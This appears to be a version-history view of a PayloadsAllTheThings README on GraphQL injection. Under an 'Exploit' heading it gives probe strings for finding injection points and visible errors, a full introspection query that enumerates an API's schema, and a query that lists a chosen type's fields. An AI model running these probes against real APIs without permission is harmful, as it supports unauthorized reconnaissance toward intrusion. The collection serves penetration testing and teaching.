PayloadsAllTheThings/GraphQL Injection/README.md

131 lines
2 KiB
Markdown
Raw Normal View History

2019-03-06 12:18:54 +00:00
# GraphQL injection
2019-04-21 17:50:50 +00:00
> GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data.
2019-03-06 12:18:54 +00:00
## Exploit
Identify an injection point
2019-04-21 17:50:50 +00:00
```javascript
2019-03-06 12:18:54 +00:00
?param={__schema{types{name}}}
```
Check if errors are visible
2019-04-21 17:50:50 +00:00
```javascript
2019-03-06 12:18:54 +00:00
?param={__schema}
?param={}
?param={thisdefinitelydoesnotexist}
```
Enumerate Database Schema with the following GraphQL query
2019-04-21 17:50:50 +00:00
```javascript
2019-03-06 12:18:54 +00:00
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
```
Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
2019-04-21 17:50:50 +00:00
```javascript
2019-03-06 12:18:54 +00:00
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
```
## References
* [Introduction to GraphQL](https://graphql.org/learn/)
* [GraphQL Introspection](https://graphql.org/learn/introspection/)